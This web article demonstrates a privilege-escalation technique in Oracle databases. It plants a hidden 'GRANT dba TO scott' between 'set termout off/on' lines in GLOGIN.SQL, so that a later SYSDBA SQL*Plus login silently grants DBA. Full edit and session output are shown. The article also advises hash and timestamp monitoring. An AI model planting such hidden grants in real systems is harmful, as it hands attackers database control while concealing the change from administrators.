Oracle GLOGIN.SQL Exploit
Versions: ALL

Overview
Is there anything more frightening than someone taking total control of your database without having login credentials?

Every copy of the Oracle Database installed for decades has installed a file named GLOGIN.SQL at $ORACLE_HOME/sqlplus/admin. This file can be used as part of a step in an attack strategy because they can run transparently malicious code, with DBA privileges. The fact that it exists, and can be invaluable has not had much of an impact on the DBA community which rarely utilizes this tool and thus never considers what might be in it.

Warning: glogin.sql executes whether you use it or not!

Any time any user, no matter their privileges, starts SQL*Plus on a database server glogin.sql runs and executes whatever SQL*Plus formatting or database commands the file contains. If the user has insufficient privileges an error may occur but the overwhelming majority of connections made with SQL*Plus are made by users with escalated privs such as DBAs assuring that if something is in the file ... it will execute successfully.
 
Exploit Demo
This demo consists of two separate sessions. The one on the left will use vi and edit the glogin.sql file, the one on the right will use SQL*Plus. To avoid verbosity below, the demo assumes that every change to the glogin.sql file is followed by a save-write.
vi SQL*Plus
# cd $ORACLE_HOME/sqlplus/admin

vi glogin.sql

-- add the following lines and save the file

set arraysize 250
set linesize 181
set long 1000000
set pagesize 45
set serveroutput on
set trim on
set trimspool on
col owner format a30
col table_name format a30
ALTER SESSION SET NLS_DATE_FORMAT='DD-MON-YYYY HH24:MI:SS';
ALTER SESSION SET PLSQL_WARNINGS='ENABLE:ALL';
set hist on		  
  SQL> conn / as sysdba
Connected.

Session altered.

Session altered.

-- the two "Session altered." statements are from
-- the ALTER SESSION commands added with vi, above left.

SQL> conn scott/tiger
Connected.

Session altered.

Session altered.

-- clearly proving the file ran in both cases.
  -- verify that user SCOTT does not have the DBA

SQL> conn / as sysdba
Connected.

Session altered.

Session altered.

SQL> SELECT granted_role
  2  FROM dba_role_privs
  3  WHERE grantee = 'SCOTT';

no rows selected
vi glogin.sql

 -- add the following line and save the file
-- set termout off instructs SQL*Plus to not send output to the display

 set termout off
GRANT dba TO scott;
set termout on		  
  SQL> conn scott/tiger
Connected.

Session altered.

Session altered.

-- the exception was hidden from the unprivileged user

SQL> SELECT granted_role
  2  FROM user_role_privs;

no rows selected

-- and the DBA privilege was not granted

SQL> conn / as sysdba
Connected.

Session altered.

Session altered.

-- again the command was hidden from the user but this time it succeeded

SQL> SELECT granted_role
  2  FROM dba_role_privs
  3  WHERE grantee = 'SCOTT';

GRANTED_ROLE
------------------------------
DBA

-- SCOTT now has the DBA role and the targeted
-- database can be breached with ease

-- if you are auditing GRANTs on your database?
-- consider how the DBA that unknowingly performed the
-- grant is going to react when asked why it was done.
-- likely it won't be a pleasant conversation with a happy outcome.
 
Conclusion
Could a system or network admin initiate this hack?
How about a contractor or vendor?
How about an orchestration tool such as Ansible, Chef, or Puppet?

How many seconds would it take to cd to the right directory and paste in those 48 characters?

You should be using glogin.sql ... it is an extremely valuable tool. We never deploy a database without configuring it.
But someone responsible for IT security should be alerted immediately to any changes to the file's timestamp or hash value the instant it is altered,

Related Topics
Block the GLOGIN Exploit